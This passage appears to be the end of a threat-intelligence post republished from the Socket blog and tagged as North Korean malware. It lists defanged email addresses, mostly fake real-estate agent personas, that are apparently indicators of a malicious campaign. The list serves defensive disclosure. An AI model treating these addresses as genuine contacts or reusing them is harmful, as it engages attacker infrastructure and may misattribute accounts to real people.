horizonpropertyteam88973@gmail[.]com
househunterpro12888@gmail[.]com
investcereal91863@gmail[.]com
investdreamz34518@gmail[.]com
investgrowthplanner16529@gmail[.]com
jasonhomesales01207@gmail[.]com
johnmarston39482@gmail[.]com
kevinspace09495@gmail[.]com
keycityagent64977@gmail[.]com
keycityrealtor98521@gmail[.]com
keystonenashynoum95584@outlook[.]com
kievrelationmanager07992@gmail[.]com
knightjenkinsybtec90710@outlook[.]com
krauszsenff3pkph@hotmail[.]com
landmarkhomesconsult33423@gmail[.]com
landscapeinvestor00913@gmail[.]com
lauradrwh@gmail[.]com
lendingcrafters51867@gmail[.]com
lillihousingagent83183@gmail[.]com
lisaselingreen56157@gmail[.]com
londonhomesmartagent36691@gmail[.]com
londonpropertyagent33861@gmail[.]com
londonpropertyguide27011@gmail[.]com
luxuryhomebroker77429@gmail[.]com
luxuryprimeagent11914@gmail[.]com
maggiehomes68871@gmail[.]com
mariastanfordakchz04029@hotmail[.]com
maximvaluehousings17477@gmail[.]com
metronewhomes21319@gmail[.]com
metropropertiesadvisor00082@gmail[.]com
metropolitanhomesguide99492@gmail[.]com
miamihouseconnect44257@gmail[.]com
miroinvestmentstudio04977@gmail[.]com
modernhomerealtor49536@gmail[.]com
modernspacesrealty29477@gmail[.]com
mohammedas517@outlook[.]com
nataliastashkiv.bs@outlook[.]com
newcitydealers94317@gmail[.]com
newcityhomeadv90451@gmail[.]com
newheightsrealtor83727@gmail[.]com
newhousenexus82253@gmail[.]com
newleafapartment50743@gmail[.]com
newprimehomes70695@gmail[.]com
newskyrealestate29771@gmail[.]com
nextlevelproperties84193@gmail[.]com
nexthomeadviser68116@gmail[.]com
oakwoodpropertyteam97341@gmail[.]com
opalqwntfqqp7270@outlook[.]com
openhouserealestateagent27183@gmail[.]com
palmhouserealestate02758@gmail[.]com
peaksummitproperty81546@gmail[.]com
peterandr345@gmail[.]com
ponbok20251123@outlook[.]com
premierhouseagent68861@gmail[.]com
primehomesconnect12973@gmail[.]com
primekeyrealtor09471@gmail[.]com
primelocationagent63672@gmail[.]com
prorealtyguide02229@gmail[.]com
propertyadvisor36515278@gmail[.]com
propertyconsultant48888@gmail[.]com
propertygatewayexpert36994@gmail[.]com
propertylistingexpert84712@gmail[.]com
rapidhomebuyer24518@gmail[.]com
realestateadvancer05390@gmail[.]com
realestateconsult11470@gmail[.]com
realestateconsultant78941@gmail[.]com
realestateguidelily27361@gmail[.]com
realestatepartnerz02814@gmail[.]com
realestorxpress23477@gmail[.]com
reddixyxzh551438@hotmail[.]com
ricardo.a.t.1010@outlook[.]com
richlandhousingsolutions81845@gmail[.]com
richmondhomesales42214@gmail[.]com
riverfrontproperties90177@gmail[.]com
riverstoneagent17563@gmail[.]com
rocksolidestate93364@gmail[.]com
rooflinerealtor00821@gmail[.]com
rootedlandagents77219@gmail[.]com
royalestateconnect43449@gmail[.]com
seasidehomesrealtor29486@gmail[.]com
seasideviewrealtor08465@gmail[.]com
seattlecityrealtor42890@gmail[.]com
silvercityproperty05525@gmail[.]com
silverlineproperty64209@gmail[.]com
skylinehomeadvisor14961@gmail[.]com
skylinehousesales62474@gmail[.]com
smartchoicehousing24861@gmail[.]com
smartcityhomes87496@gmail[.]com
smartkeyhomes00728@gmail[.]com
solidinvestments05572@gmail[.]com
solidpropertyadvisor33345@gmail[.]com
springtownhomes83379@gmail[.]com
stard8447@gmail[.]com
suburbanhomeconnect16179@gmail[.]com
summitpropertyagent07717@gmail[.]com
sunnyvaleproperty44162@gmail[.]com
sunnyviewhomes49110@gmail[.]com
thecityhomesales97011@gmail[.]com
topchoicehomesconsult55882@gmail[.]com
topflite5@freyaglam[.]shop
topkeyrealestate99241@gmail[.]com
urbanhomefinder35266@gmail[.]com
urbanlivingteam00074@gmail[.]com
urbanpropertyguide43812@gmail[.]com
valleyhomesguide14195@gmail[.]com
victormolonna510727@outlook[.]com
vitalcityhomes22591@gmail[.]com
westfieldhomeagent66414@gmail[.]com
yorktownhomesales08111@gmail[.]com
yuleyuccaxoiqw85368@outlook[.]com
bohdanstashkiv.bs@outlook[.]com
brimstoneinkwellwugke88241@outlook[.]com
edisonrippin@outlook[.]com
erbanfceraswud8px@hotmail[.]com
JonathonF1010@outlook[.]com
khardenjenna510727@outlook[.]com
kukurudza339@gmail[.]com
leowestbcqni01653@outlook[.]com
pascaldev0921@outlook[.]com
reedfowlerccouj11583@hotmail[.]com
topflite4@freyaglam[.]shop
vrindalseth@gmail[.]com
yelyzavetazaporozhtseva@gmail[.]com

This post was originally published on the Socket blog.

Malware, North Korea